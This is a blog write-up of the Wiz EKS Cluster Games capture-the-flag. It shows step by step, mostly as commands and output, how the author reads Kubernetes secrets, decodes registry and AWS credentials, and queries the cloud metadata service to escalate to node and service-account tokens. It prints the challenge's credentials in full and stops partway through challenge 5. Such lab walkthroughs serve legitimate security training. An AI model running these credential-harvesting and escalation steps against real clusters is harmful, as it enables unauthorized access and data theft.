Paul Kadali

Apr 13, 2025 • 10 min read

EKS Cluster Games

https://eksclustergames.com/

EKS Cluster Games

You can also check it out in my personal blog: https://blog.paulkadali.info/writeups/wiz-security-challenges/eks-cluster-games-writeup


Challenge 1 - Secret Seeker

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

Permissions

{
    "secrets": [
        "get",
        "list"
    ]
}
> kubectl get secrets
NAME         TYPE     DATA   AGE
log-rotate   Opaque   1      527d

> kubectl get secret log-rotate -o yaml
apiVersion: v1
data:
  flag: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
kind: Secret

> echo d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ== | base64 --decode
wiz_eks_challenge{omg_over_privileged_secret_access}

Challenge 2 - Registry Hunt

A thing we learned during our research: always check the container registries.

For your convenience, the crane utility is already pre-installed on the machine.

Permissions

{
    "secrets": [
        "get"
    ],
    "pods": [
        "list",
        "get"
    ]
}
> kubectl get pods
NAME                    READY   STATUS    RESTARTS       AGE
database-pod-2c9b3a4e   1/1     Running   14 (20d ago)   527d

> kubectl describe pods database-pod-2c9b3a4e
Name:         database-pod-2c9b3a4e
Namespace:    challenge2
Priority:     0
Node:         ip-192-168-21-50.us-west-1.compute.internal/192.168.21.50
Start Time:   Wed, 01 Nov 2023 13:32:05 +0000
Labels:       <none>
Annotations:  kubernetes.io/psp: eks.privileged
              pulumi.com/autonamed: true
Status:       Running
IP:           192.168.12.173
IPs:
  IP:  192.168.12.173
Containers:
  my-container:
    Container ID:   containerd://4cd1857655feeac1bece44b800e910ee3e4e1968c2ceaa173d4d904b12c3b6e5
    Image:          eksclustergames/base_ext_image
    Image ID:       docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
    Port:           <none>
    Host Port:      <none>
    State:          Running
      Started:      Sun, 23 Mar 2025 06:44:23 +0000
    Last State:     Terminated
      Reason:       Completed
      Exit Code:    0
      Started:      Sat, 15 Feb 2025 00:22:05 +0000
      Finished:     Sun, 23 Mar 2025 06:44:22 +0000
    Ready:          True
    Restart Count:  14
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-cq4m2 (ro)
Conditions:
  Type              Status
  Initialized       True 
  Ready             True 
  ContainersReady   True 
  PodScheduled      True 
Volumes:
  kube-api-access-cq4m2:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
QoS Class:                   BestEffort
Node-Selectors:              <none>
Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:                      <none>

We can see the image registry from the output

Image:          eksclustergames/base_ext_image
Image ID:       docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623

Crane is already installed in shell we can try to pull the image but we are missing an argument most probably because we are not authorised.

> crane pull eksclustergames/base_ext_image
Error: requires at least 2 arg(s), only received 1
 > kubectl get secrets registry-pull-secrets-780bab1d -o yaml
 apiVersion: v1
data:
  .dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
kind: Secret

> echo eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19 | base64 -d
{"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="}}}

> echo ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw== | base64 -d
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

With this cred let's try to login with crane.

> crane auth login -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo index.docker.io
2025/04/12 11:19:14 logged in via /home/user/.docker/config.json

> crane ls eksclustergames/base_ext_image
latest

> crane config eksclustergames/base_ext_image | jq
{
  "architecture": "amd64",
  "config": {
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sleep",
      "3133337"
    ],
    "ArgsEscaped": true,
    "OnBuild": null
  },
  "created": "2023-11-01T13:32:18.920734382Z",
  "history": [
    {
      "created": "2023-07-18T23:19:33.538571854Z",
      "created_by": "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "
    },
    {
      "created": "2023-07-18T23:19:33.655005962Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"sh\"]",
      "empty_layer": true
    },
    {
      "created": "2023-11-01T13:32:18.920734382Z",
      "created_by": "RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' > /flag.txt # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2023-11-01T13:32:18.920734382Z",
      "created_by": "CMD [\"/bin/sleep\" \"3133337\"]",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f",
      "sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432"
    ]
  }
}

Success!

Based on real events

We successfully used this technique in both of our engagements with Alibaba Cloud and IBM Cloud to obtain internal container images and to prove unauthorized access to cross-tenant data.

Challenge 3 - Image Inquisition

A pod's image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

Remember: You are running inside a compromised EKS pod.

For your convenience, the crane utility is already pre-installed on the machine.

Permissions

{
    "pods": [
        "list",
        "get"
    ]
}

Lets list out the pods first and check for more information

> kubectl get pods
NAME                      READY   STATUS    RESTARTS       AGE
accounting-pod-876647f8   1/1     Running   14 (20d ago)   527d

> kubectl get pod accounting-pod-876647f8 -o yaml
apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubernetes.io/psp: eks.privileged
    pulumi.com/autonamed: "true"
  creationTimestamp: "2023-11-01T13:32:10Z"
  name: accounting-pod-876647f8
  namespace: challenge3
  resourceVersion: "213766719"
  uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2
spec:
  containers:
  - image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
    imagePullPolicy: IfNotPresent
    name: accounting-container
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-mmvjj
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  nodeName: ip-192-168-21-50.us-west-1.compute.internal
  preemptionPolicy: PreemptLowerPriority
  priority: 0
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: default
  serviceAccountName: default
  terminationGracePeriodSeconds: 30
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
  volumes:
  - name: kube-api-access-mmvjj
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
status:
  conditions:
  - lastProbeTime: null
    lastTransitionTime: "2023-11-01T13:32:10Z"
    status: "True"
    type: Initialized
  - lastProbeTime: null
    lastTransitionTime: "2025-03-23T06:44:19Z"
    status: "True"
    type: Ready
  - lastProbeTime: null
    lastTransitionTime: "2025-03-23T06:44:19Z"
    status: "True"
    type: ContainersReady
  - lastProbeTime: null
    lastTransitionTime: "2023-11-01T13:32:10Z"
    status: "True"
    type: PodScheduled
  containerStatuses:
  - containerID: containerd://36f702b04bf1eb580e43a32d8726cf94d5b4c2fe0c955f95ae00ad708eaccd70
    image: sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3
    imageID: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
    lastState:
      terminated:
        containerID: containerd://2c3db96340ae95782e33558fda6926e387e2e9338513512783ee6ac0a5527b08
        exitCode: 0
        finishedAt: "2025-03-23T06:44:17Z"
        reason: Completed
        startedAt: "2025-02-15T00:22:00Z"
    name: accounting-container
    ready: true
    restartCount: 14
    started: true
    state:
      running:
        startedAt: "2025-03-23T06:44:18Z"
  hostIP: 192.168.21.50
  phase: Running
  podIP: 192.168.5.251
  podIPs:
  - ip: 192.168.5.251
  qosClass: BestEffort
  startTime: "2023-11-01T13:32:10Z"

We can see the image container hosted on AWS ECR. Let’s pull the image using crane.

> crane pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
Error: requires at least 2 arg(s), only received 1

We start by looking for credentials that can help us connect to the ECR repository. When working in a cloud environment, one way to check for interesting data is to look over the Amazon Metadata Service.

Looking at hacktricks and find meta endpoints which are accessible at http://169.254.169.254

 > curl 169.254.169.254/latest/meta-data/iam/security-credentials/
 eks-challenge-cluster-nodegroup-NodeInstanceRole
 
 > curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2AVYNEVMXHT245IC","Expiration":"2025-04-12 13:03:08+00:00","SecretAccessKey":"3OrPWbAF83GfThGuwoS3gcWeEK+bQLNnB87qAbCu","SessionToken":"FwoGZXIvYXdzEG0aDDiLxRXOplOlW1qqUyK3ARB2L1NwOohGfQejd3c1vOy5nbE4k/eXag910gp6KMrSMyYIYor8/1glZXhSVOcO/a4aAYjidmWePsTjKlc5zeqxfS0lbPjt4t6u8NXlzp1amNhhzrIJYo/dqvFR6ozxHfJdukmitdrjhHTn9pIpLsZ5Q5CCswNHwnaDEEXVvDnoQ/raPERKn5ZAl5/swesw6w9LNpLcRMmZMK34EqCWe03dbIdHlsDOAqVp6vQmGIL90HhhYdQUxij8rOm/BjIt3SVKZxcB7jUSbdQyatrQts808SWJbaz7bcZa9Qr6S6ZtnpNupVDnXxITapXk"}

We can load these manually onto environment variables and proceed from there

> export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMZCX7QJ5J
> export AWS_SECRET_ACCESS_KEY=d1s97aN9Iu8ZXbTP4WRQTSY13cFnAs2X11H8aYW3
> export AWS_SESSION_TOKEN=FwoGZXIvYXdzEG4aDI95WEb51i7QPk+42iK3ASag3lEego4p8be67AodZHcR8w77fMnFgHwbkcudiA+MoRUIEkPMhcqm1IS0U0Gt1nk/gWp44kKc7cqxyGkaIYenrQF2XW+IAK6qHnrk2wRiBKJmmZGhANlRspWkTMgCFv2Mvjuiul7Gq2ebg/Fq5Jyojrkc94bDS9G6as44ptksTWJnNCGC+vCwzyRABM7PCi9RrXY3JKjru88TJk4HBg55LOkfKvHU8tA+zVDU9bfFJukoolgp3SiAu+m/BjIt/Dw/bNshrrjZnlwuZn6Obmhpm+gPt49XYU9Uocv5B5Ym0VYHWPBYm/mk82VO
> aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

With these credentials we can get authenticated and pull data from ECR.

> export PASSWORD=$(aws ecr get-login-password --region us-west-1)

> crane auth login -u AWS -p PASSWORD 688655246681.dkr.ecr.us-west-1.amazonaws.com
2025/04/12 12:09:43 logged in via /home/user/.docker/config.json

> crane config "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01" | jq 
{
  "architecture": "amd64",
  "config": {
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sleep",
      "3133337"
    ],
    "ArgsEscaped": true,
    "OnBuild": null
  },
  "created": "2023-11-01T13:32:07.782534085Z",
  "history": [
    {
      "created": "2023-07-18T23:19:33.538571854Z",
      "created_by": "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "
    },
    {
      "created": "2023-07-18T23:19:33.655005962Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"sh\"]",
      "empty_layer": true
    },
    {
      "created": "2023-11-01T13:32:07.782534085Z",
      "created_by": "RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2023-11-01T13:32:07.782534085Z",
      "created_by": "CMD [\"/bin/sleep\" \"3133337\"]",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f",
      "sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"
    ]
  }
}

In this challenge, you retrieved credentials from the Instance Metadata Service (IMDS). Moving forward, these credentials will be readily available in the pod for your ease of use.

Challenge 4 - Pod Break

You're inside a vulnerable pod on an EKS cluster. Your pod's service-account has no permissions. Can you navigate your way to access the EKS Node's privileged service-account?

Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions

We have absolutely no access to even check the lost of available pods

> kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:challenge4:service-account-challenge4" cannot list resource "pods" in API group "" in the namespace "challenge4"

>  aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

from the response we can see that the cluster name is eks-challenge-cluster

We do not have permission to describe or list the cluster but are able to get a token.

> aws eks describe-cluster --name eks-challenge-cluster
An error occurred (AccessDeniedException) when calling the DescribeCluster operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:DescribeCluster on resource: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster

> aws  eks get-token --cluster-name eks-challenge-cluster --region us-west-1
{
    "kind": "ExecCredential",
    "apiVersion": "client.authentication.k8s.io/v1beta1",
    "spec": {},
    "status": {
        "expirationTimestamp": "2025-04-12T13:00:24Z",
        "token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk00S0RJUTRPUCUyRjIwMjUwNDEyJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTA0MTJUMTI0NjI0WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFRzRhREJ6T2JuYXYwTDl4bjNVZ3pTSzNBU1FJOWxkNlZYYm1hViUyRjk3c0tXTFdZNWI3TWlsQXJBNk1qdmM2ajhtdEpXTWpHMmdYd24lMkZab2EwOFVyTnQ0UnhadlB0UkU3M25TNSUyRkNQOGpMVWNENEdXdG9DczZ5ekVJQjllZDJybWpSZXRBMWx6eWNYaDlUTlNOZyUyRjFETWx1ZFFObkZFMyUyRjREdWEzVXI0eDdpOUt2TU9NdWFhTlJ5aFBNNEhOTTZUWGtRdnFzRVRDdXFxWk5WMmlwRmlRWm03eWdXQkxqZHd3TVVoOGJuMmxnMmxpZ1VBSTNWeDRzUVFyJTJGJTJGTkNnQUI4SWE1TVBOVzBycm53U2pydmVtJTJGQmpJdG56d1pDY3BtT3V6N2VtcnhsVnI3YkhSUzlwM1NXZmFuQiUyRk9tZE5YVXU5MlE0RE5RRyUyQnRhTDIyTlQ3V1YmWC1BbXotU2lnbmF0dXJlPWM4Mzc0MzY2MjdiN2Q5YjA2MWQ5MmU2MzQ0MDQyYWViNWY2MzE2ZTljNmY0NDY3YjEwZmY5MTFmN2I4N2JlZDI"
    }
}

> kubectl auth can-i --list --token=k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk00S0RJUTRPUCUyRjIwMjUwNDEyJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTA0MTJUMTI0NjI0WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFRzRhREJ6T2JuYXYwTDl4bjNVZ3pTSzNBU1FJOWxkNlZYYm1hViUyRjk3c0tXTFdZNWI3TWlsQXJBNk1qdmM2ajhtdEpXTWpHMmdYd24lMkZab2EwOFVyTnQ0UnhadlB0UkU3M25TNSUyRkNQOGpMVWNENEdXdG9DczZ5ekVJQjllZDJybWpSZXRBMWx6eWNYaDlUTlNOZyUyRjFETWx1ZFFObkZFMyUyRjREdWEzVXI0eDdpOUt2TU9NdWFhTlJ5aFBNNEhOTTZUWGtRdnFzRVRDdXFxWk5WMmlwRmlRWm03eWdXQkxqZHd3TVVoOGJuMmxnMmxpZ1VBSTNWeDRzUVFyJTJGJTJGTkNnQUI4SWE1TVBOVzBycm53U2pydmVtJTJGQmpJdG56d1pDY3BtT3V6N2VtcnhsVnI3YkhSUzlwM1NXZmFuQiUyRk9tZE5YVXU5MlE0RE5RRyUyQnRhTDIyTlQ3V1YmWC1BbXotU2lnbmF0dXJlPWM4Mzc0MzY2MjdiN2Q5YjA2MWQ5MmU2MzQ0MDQyYWViNWY2MzE2ZTljNmY0NDY3YjEwZmY5MTFmN2I4N2JlZDI
Resources                                       Non-Resource URLs   Resource Names     Verbs
serviceaccounts/token                           []                  [debug-sa]         [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []                 [create]
pods                                            []                  []                 [get list]
secrets                                         []                  []                 [get list]
serviceaccounts                                 []                  []                 [get list]
                                                [/api/*]            []                 [get]
                                                [/api]              []                 [get]
                                                [/apis/*]           []                 [get]
                                                [/apis]             []                 [get]
                                                [/healthz]          []                 [get]
                                                [/healthz]          []                 [get]
                                                [/livez]            []                 [get]
                                                [/livez]            []                 [get]
                                                [/openapi/*]        []                 [get]
                                                [/openapi]          []                 [get]
                                                [/readyz]           []                 [get]
                                                [/readyz]           []                 [get]
                                                [/version/]         []                 [get]
                                                [/version/]         []                 [get]
                                                [/version]          []                 [get]
                                                [/version]          []                 [get]
podsecuritypolicies.policy                      []                  [eks.privileged]   [use]

> kubectl get secrets -o yaml --token=k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk00S0RJUTRPUCUyRjIwMjUwNDEyJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNTA0MTJUMTI0NjI0WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFRzRhREJ6T2JuYXYwTDl4bjNVZ3pTSzNBU1FJOWxkNlZYYm1hViUyRjk3c0tXTFdZNWI3TWlsQXJBNk1qdmM2ajhtdEpXTWpHMmdYd24lMkZab2EwOFVyTnQ0UnhadlB0UkU3M25TNSUyRkNQOGpMVWNENEdXdG9DczZ5ekVJQjllZDJybWpSZXRBMWx6eWNYaDlUTlNOZyUyRjFETWx1ZFFObkZFMyUyRjREdWEzVXI0eDdpOUt2TU9NdWFhTlJ5aFBNNEhOTTZUWGtRdnFzRVRDdXFxWk5WMmlwRmlRWm03eWdXQkxqZHd3TVVoOGJuMmxnMmxpZ1VBSTNWeDRzUVFyJTJGJTJGTkNnQUI4SWE1TVBOVzBycm53U2pydmVtJTJGQmpJdG56d1pDY3BtT3V6N2VtcnhsVnI3YkhSUzlwM1NXZmFuQiUyRk9tZE5YVXU5MlE0RE5RRyUyQnRhTDIyTlQ3V1YmWC1BbXotU2lnbmF0dXJlPWM4Mzc0MzY2MjdiN2Q5YjA2MWQ5MmU2MzQ0MDQyYWViNWY2MzE2ZTljNmY0NDY3YjEwZmY5MTFmN2I4N2JlZDI
apiVersion: v1
items:
- apiVersion: v1
  data:
    flag: d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30=
  kind: Secret
  metadata:
    creationTimestamp: "2023-11-01T12:27:57Z"
    name: node-flag
    namespace: challenge4
    resourceVersion: "883574"
    uid: 26461a29-ec72-40e1-adc7-99128ce664f7
  type: Opaque
kind: List
metadata:
  resourceVersion: ""
  
 > echo d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30= | base64 -d
 wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}

In this task, you've acquired the Node's service account credentials. For future reference, these credentials will be conveniently accessible in the pod for you.

Fun fact: The misconfiguration highlighted in this challenge is a common occurrence, and the same technique can be applied to any EKS cluster that doesn't enforce IMDSv2 hop limit.

Challenge 5 - Container Secrets Infrastructure

{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}
> kubectl auth can-i --list
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs   Resource Names     Verbs
serviceaccounts/token                           []                  [debug-sa]         [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []                 [create]
pods                                            []                  []                 [get list]
secrets                                         []                  []                 [get list]
serviceaccounts                                 []                  []                 [get list]
                                                [/api/*]            []                 [get]
                                                [/api]              []                 [get]
                                                [/apis/*]           []                 [get]
                                                [/apis]             []                 [get]
                                                [/healthz]          []                 [get]
                                                [/healthz]          []                 [get]
                                                [/livez]            []                 [get]
                                                [/livez]            []                 [get]
                                                [/openapi/*]        []                 [get]
                                                [/openapi]          []                 [get]
                                                [/readyz]           []                 [get]
                                                [/readyz]           []                 [get]
                                                [/version/]         []                 [get]
                                                [/version/]         []                 [get]
                                                [/version]          []                 [get]
                                                [/version]          []                 [get]
podsecuritypolicies.policy                      []                  [eks.privileged]   [use]

> kubectl get serviceaccounts
NAME          SECRETS   AGE
debug-sa      0         528d
default       0         528d
s3access-sa   0         528d

> kubectl get serviceaccounts -o yaml
apiVersion: v1
items:
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      description: This is a dummy service account with empty policy attached
      eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
    creationTimestamp: "2023-10-31T20:07:37Z"
    name: debug-sa
    namespace: challenge5
    resourceVersion: "671929"
    uid: 6cb6024a-c4da-47a9-9050-59c8c7079904
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2023-10-31T20:07:11Z"
    name: default
    namespace: challenge5
    resourceVersion: "671804"
    uid: 77bd3db6-3642-40d5-b8c1-14fa1b0cba8c
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
    creationTimestamp: "2023-10-31T20:07:34Z"
    name: s3access-sa
    namespace: challenge5
    resourceVersion: "671916"
    uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda
kind: List
metadata:
  resourceVersion: ""

IAM role atached to "debug-sa" is challengeTestRole-fc9d18eand "s2access-sa" is challengeEksS3Role

Lets create a token for debug-sa

> kubectl create token debug-sa
eyJhbGciOiJSUzI1NiIsImtpZCI6IjUyNGI4MzMyZGNjYzQ2ZDE1MDFmMjQxZWE4ZGJjNWRkM2QzZmYwODEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTc0NDQ2OTAxOCwiaWF0IjoxNzQ0NDY1NDE4LCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLXdlc3QtMS5hbWF6b25hd3MuY29tL2lkL0MwNjJDMjA3QzhGNTBERTRFQzI0QTM3MkZGNjBFNTg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjaGFsbGVuZ2U1Iiwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlYnVnLXNhIiwidWlkIjoiNmNiNjAyNGEtYzRkYS00N2E5LTkwNTAtNTljOGM3MDc5OTA0In19LCJuYmYiOjE3NDQ0NjU0MTgsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjaGFsbGVuZ2U1OmRlYnVnLXNhIn0.PpafxIZcmSF_z7-5RDMnGlnpWHtsKpRnMyML2EvCE62lMHW4lb8A2onyu7cBn_qcVAKIkzvIST0lxPZb2SqQYqtpCMCzEQf-wiI-vgY7ssM2tGXr8LuX1FQR6lOwvoSYFmG-81hlYbnhGs1yCpwA2gjqiILf4HYhvOl59Aicp15Llj7a7E57eIcLxzeEI747Pc6QfPiQxts60fOUaRAk0jnTMobmQFVflzKRBom8GmLqFbszEZLbACPg_eX32O_zgZoO7uWJMXtisChJCWwfYhk7wJ5FJhMUVCF5s9nW0P_khim-b-kA1ENj9w7LJSXG8FJtbP9zCy4XC4KHa4OVsw

This is a JWT token which we need to decode on jwt.io

Lets use this token to assume the role

